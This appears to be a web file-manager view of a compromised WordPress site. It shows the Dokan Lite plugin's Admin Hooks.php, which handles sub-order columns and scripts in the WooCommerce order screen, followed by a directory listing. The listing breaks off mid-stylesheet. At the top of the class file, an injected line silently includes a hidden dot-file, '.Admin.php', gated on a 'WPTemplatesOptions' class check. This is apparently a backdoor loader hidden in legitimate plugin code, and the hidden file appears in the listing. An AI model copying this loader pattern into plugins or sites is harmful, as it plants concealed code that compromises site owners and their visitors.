PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-lite
/
includes
/
Admin
<?php namespace WeDevs\Dokan\Admin; /** * Admin Hooks * * @package dokan * * @since 3.0.0 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Hooks { /** * Load autometically when class initiate * * @since 3.0.0 */ public function __construct() { // Load all actions add_action( 'pre_get_posts', [ $this, 'admin_shop_order_remove_parents' ] ); add_action( 'manage_shop_order_posts_custom_column', [ $this, 'shop_order_custom_columns' ], 11 ); add_action( 'admin_footer-edit.php', [ $this, 'admin_shop_order_scripts' ] ); add_action( 'wp_trash_post', [ $this, 'admin_on_trash_order' ] ); add_action( 'untrash_post', [ $this, 'admin_on_untrash_order' ] ); add_action( 'delete_post', [ $this, 'admin_on_delete_order' ] ); add_action( 'restrict_manage_posts', [ $this, 'admin_shop_order_toggle_sub_orders' ] ); add_action( 'pending_to_publish', [ $this, 'send_notification_on_product_publish' ] ); add_action( 'add_meta_boxes', [ $this, 'add_seller_meta_box' ] ); add_action( 'woocommerce_process_product_meta', [ $this, 'override_product_author_by_admin' ], 12, 2 ); // Load all filters add_filter( 'woocommerce_reports_get_order_report_query', [ $this, 'admin_order_reports_remove_parents' ] ); add_filter( 'manage_edit-shop_order_columns', [ $this, 'admin_shop_order_edit_columns' ], 11 ); add_filter( 'post_class', [ $this, 'admin_shop_order_row_classes' ], 10, 2); add_filter( 'post_types_to_delete_with_user', [ $this, 'add_wc_post_types_to_delete_user' ], 10, 2 ); add_filter( 'dokan_save_settings_value', [ $this, 'update_pages' ], 10, 2 ); } /** * Filter all the shop orders to remove child orders * * @param WP_Query $query */ public function admin_shop_order_remove_parents( $query ) { if ( $query->is_main_query() && 'shop_order' == $query->query['post_type'] ) { $query->set( 'orderby', 'ID' ); $query->set( 'order', 'DESC' ); } } /** * Remove child orders from WC reports * * @param array $query * * @return array */ public function admin_order_reports_remove_parents( $query ) { $query['where'] .= ' AND posts.post_parent = 0'; return $query; } /** * Change the columns shown in admin. * * @param array $existing_columns * * @return array */ public function admin_shop_order_edit_columns( $existing_columns ) { if ( WC_VERSION > '3.2.6' ) { unset( $existing_columns['wc_actions'] ); $columns = array_slice( $existing_columns, 0, count( $existing_columns ), true ) + array( 'seller' => __( 'Vendor', 'dokan-lite' ), 'wc_actions' => __( 'Actions', 'dokan-lite' ), 'suborder' => __( 'Sub Order', 'dokan-lite' ), ) + array_slice( $existing_columns, count( $existing_columns ), count( $existing_columns ) - 1, true ); } else { $existing_columns['seller'] = __( 'Vendor', 'dokan-lite' ); $existing_columns['suborder'] = __( 'Sub Order', 'dokan-lite' ); } if ( WC_VERSION > '3.2.6' ) { // Remove seller, suborder column if seller is viewing his own product if ( ! current_user_can( 'manage_woocommerce' ) || ( isset( $_GET['author'] ) && ! empty( $_GET['author'] ) ) ) { unset( $columns['suborder'] ); unset( $columns['seller'] ); } return apply_filters( 'dokan_edit_shop_order_columns', $columns ); } // Remove seller, suborder column if seller is viewing his own product if ( ! current_user_can( 'manage_woocommerce' ) || ( isset( $_GET['author'] ) && ! empty( $_GET['author'] ) ) ) { unset( $existing_columns['suborder'] ); unset( $existing_columns['seller'] ); } return apply_filters( 'dokan_edit_shop_order_columns', $existing_columns ); } /** * Adds custom column on dokan admin shop order table * * @global type $post * @global type $woocommerce * @global WC_Order $the_order * * @param type $col * * @return void */ public function shop_order_custom_columns( $col ) { global $post, $the_order; if ( empty( $the_order ) || $the_order->get_id() != $post->ID ) { $the_order = new WC_Order( $post->ID ); } if ( ! current_user_can( 'manage_woocommerce' ) ) { return $col; } switch ($col) { case 'order_number': if ($post->post_parent !== 0) { echo '<strong>'; echo esc_html__( ' Sub Order of', 'dokan-lite' ); printf( ' <a href="%s">#%s</a>', esc_url( admin_url( 'post.php?action=edit&post=' . $post->post_parent ) ), esc_html( $post->post_parent ) ); echo '</strong>'; } break; case 'suborder': $has_sub = get_post_meta( $post->ID, 'has_sub_order', true ); if ( $has_sub == '1' ) { printf( '<a href="#" class="show-sub-orders" data-class="parent-%1$d" data-show="%2$s" data-hide="%3$s">%2$s</a>', esc_attr( $post->ID ), esc_attr__( 'Show Sub-Orders', 'dokan-lite' ), esc_attr__( 'Hide Sub-Orders', 'dokan-lite' ) ); } break; case 'seller': $has_sub = get_post_meta( $post->ID, 'has_sub_order', true ); if ( $has_sub != '1' && $seller = get_user_by( 'id', dokan_get_seller_id_by_order( $post->ID ) ) ) { printf( '<a href="%s">%s</a>', esc_url( admin_url( 'edit.php?post_type=shop_order&vendor_id=' . $seller->ID ) ), esc_html( $seller->display_name ) ); } else { esc_html_e( '(no name)', 'dokan-lite' ); } break; } } /** * Adds css classes on admin shop order table * * @global WP_Post $post * * @param array $classes * @param int $post_id * * @return array */ public function admin_shop_order_row_classes( $classes, $post_id ) { global $post; if ( is_search() || ! current_user_can( 'manage_woocommerce' ) ) { return $classes; } $vendor_id = isset( $_GET['vendor_id'] ) ? sanitize_text_field( wp_unslash( $_GET['vendor_id'] ) ) : ''; if ( $vendor_id ) { return $classes; } if ( $post->post_type == 'shop_order' && $post->post_parent != 0 ) { $classes[] = 'sub-order parent-' . $post->post_parent; } return $classes; } /** * Show/hide sub order css/js * * @return void */ public function admin_shop_order_scripts() { ?> <script type="text/javascript"> jQuery(function($) { $('tr.sub-order').hide(); $('a.show-sub-orders').on('click', function(e) { e.preventDefault(); var $self = $(this), el = $('tr.' + $self.data('class') ); if ( el.is(':hidden') ) { el.show(); $self.text( $self.data('hide') ); } else { el.hide(); $self.text( $self.data('show') ); } }); $('button.toggle-sub-orders').on('click', function(e) { e.preventDefault(); $('tr.sub-order').toggle(); }); }); </script> <style type="text/css"> tr.sub-order { background: #ECFFF2; } th#order_number { width: 21ch; } th#order_date { width: 9ch; } th#order_status { width: 12ch; } th#shipping_address { width: 18ch; }
[+]
..
[-] SetupWizardWCAdmin.php
[edit]
[-] Settings.php
[edit]
[-] SetupWizard.php
[edit]
[-] UserProfile.php
[edit]
[-] AdminBar.php
[edit]
[-] Menu.php
[edit]
[-] Pointers.php
[edit]
[-] Promotion.php
[edit]
[-] functions.php
[edit]
[-] SetupWizardNoWC.php
[edit]
[-] Hooks.php
[edit]
[-] .Admin.php
[edit]